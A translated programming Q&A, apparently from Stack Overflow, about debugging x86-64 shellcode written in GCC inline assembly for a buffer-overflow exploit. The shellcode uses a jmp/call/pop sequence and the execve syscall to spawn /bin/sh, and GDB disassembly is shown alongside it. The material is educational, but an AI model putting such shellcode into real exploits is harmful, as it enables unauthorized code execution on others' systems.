pha*_*bit 7 c assembly gcc x86-64
我正在编写一个漏洞利用程序来从头开始生成一个 shell。(即用于缓冲区溢出)。我面临的问题之一是让 jmp 语句起作用。我的理解是jmp指令是相对于ip的。但是,当我尝试在内联汇编中运行以下内容时,我会跳转到绝对地址。
jmp 0x28 #in inline GCC will jump to address 0x28 not 0x28 relative to the ip
我解决这个问题的一种方法是使用 IP 作为指令的一部分,如下所示:
jmp *0x28(%rip) #will jump to address 0x28 relative to the ip
但是,当我这样做时,我在 jmp 上遇到了分段错误
整个汇编代码如下:
void main() {
__asm__(
"jmp *0x28(%rip) \n"
"popq %rax \n"
"movw $0x0, 0x0(%rax) #add null termination \n"
"movq %rax,0x8(%rax) #set up argv in memory \n"
"movq $0, 0x10(%rax) \n"
"mov $0x0, %edx #set up arg 3 \n"
"mov %rax, %rsi \n"
"add $0x8, %rsi \n"
"mov %rax,%rdi \n"
"mov $0x3b,%eax \n"
"syscall \n"
"call *-0x2e(%rip) \n"
".string \"/bin/sh\""
);
}
Run Code Online (Sandbox Code Playgroud)
GDB 的反汇编输出是:
Dump of assembler code for function main:
0x00000000004004ac <+0>: push %rbp
0x00000000004004ad <+1>: mov %rsp,%rbp
0x00000000004004b0 <+4>: jmpq *0x28(%rip) # 0x4004de <main+50>
0x00000000004004b6 <+10>: pop %rax
0x00000000004004b7 <+11>: movw $0x0,(%rax)
0x00000000004004bc <+16>: mov %rax,0x8(%rax)
0x00000000004004c0 <+20>: movq $0x0,0x10(%rax)
0x00000000004004c8 <+28>: mov $0x0,%edx
0x00000000004004cd <+33>: mov %rax,%rsi
0x00000000004004d0 <+36>: add $0x8,%rsi
0x00000000004004d4 <+40>: mov %rax,%rdi
0x00000000004004d7 <+43>: mov $0x3b,%eax
0x00000000004004dc <+48>: syscall
0x00000000004004de <+50>: callq *-0x2e(%rip) # 0x4004b6 <main+10>
0x00000000004004e4 <+56>: (bad)
0x00000000004004e5 <+57>: (bad)
0x00000000004004e6 <+58>: imul $0x5d006873,0x2f(%rsi),%ebp
0x00000000004004ed <+65>: retq
End of assembler dump.
Run Code Online (Sandbox Code Playgroud)
jmp *0x28(%rip)尽管 GDB 说它将转到正确的地址,但我在第一条指令上遇到了段错误。
有趣的是,如果我之前放置一个标签call *-0x2e(%rip)并 jmp 到它就可以了。该地址将是绝对地址,不会产生 jmp 处的分段错误。
使用标签的 C 代码:
void main() {
__asm__(
"jmp my_hack \n"
"popq %rax \n"
"movw $0x0, 0x0(%rax) #add null termination \n"
"movq %rax,0x8(%rax) #set up argv in memory \n"
"movq $0, 0x10(%rax) \n"
"mov $0x0, %edx #set up arg 3 \n"
"mov %rax, %rsi \n"
"add $0x8, %rsi \n"
"mov %rax,%rdi \n"
"mov $0x3b,%eax \n"
"syscall \n"
"my_hack: \n"
"call *-0x2e(%rip) \n"
".string \"/bin/sh\""
);
}
Run Code Online (Sandbox Code Playgroud)
结果拆解
Dump of assembler code for function main:
0x00000000004004ac <+0>: push %rbp
0x00000000004004ad <+1>: mov %rsp,%rbp
0x00000000004004b0 <+4>: jmp 0x4004da <main+46>
0x00000000004004b2 <+6>: pop %rax
0x00000000004004b3 <+7>: movw $0x0,(%rax)
0x00000000004004b8 <+12>: mov %rax,0x8(%rax)
0x00000000004004bc <+16>: movq $0x0,0x10(%rax)
0x00000000004004c4 <+24>: mov $0x0,%edx
0x00000000004004c9 <+29>: mov %rax,%rsi
0x00000000004004cc <+32>: add $0x8,%rsi
0x00000000004004d0 <+36>: mov %rax,%rdi
0x00000000004004d3 <+39>: mov $0x3b,%eax
0x00000000004004d8 <+44>: syscall
0x00000000004004da <+46>: callq *-0x2e(%rip) # 0x4004b2 <main+6>
0x00000000004004e0 <+52>: (bad)
0x00000000004004e1 <+53>: (bad)
0x00000000004004e2 <+54>: imul $0x5d006873,0x2f(%rsi),%ebp
0x00000000004004e9 <+61>: retq
End of assembler dump.
Run Code Online (Sandbox Code Playgroud)
上述反汇编中使用标签的跳转不会产生分段错误。随意执行的调用0x00000000004004da。
有人可以解释为什么在 jmp 中使用 rip 会导致分段错误吗?
如何使用 GCC 内联汇编完成相对跳转/调用?我不知道如何检查汇编器,但是我很确定我正在使用 GAS(在他们的 wiki 上说它是默认的 GCC 汇编器)。已经在相关问题中提出了使用语法的建议,例如,jmp .+0x28这将导致绝对跳转而不是相对于 pc 的跳转。
我认为你有点太间接了。尝试
jmp 0x28(%rip)
Run Code Online (Sandbox Code Playgroud)
在汇编程序中,它会(大约)写成
jmp $+0x28
Run Code Online (Sandbox Code Playgroud)
我写的大约是因为汇编指令是相对于指令的起始地址的。但rip在执行时会递增到下一条指令。所以为了得到同样的效果
jmp $+0x24 # maybe 0x23, maybe 0x25 depending on the instruction length
Run Code Online (Sandbox Code Playgroud)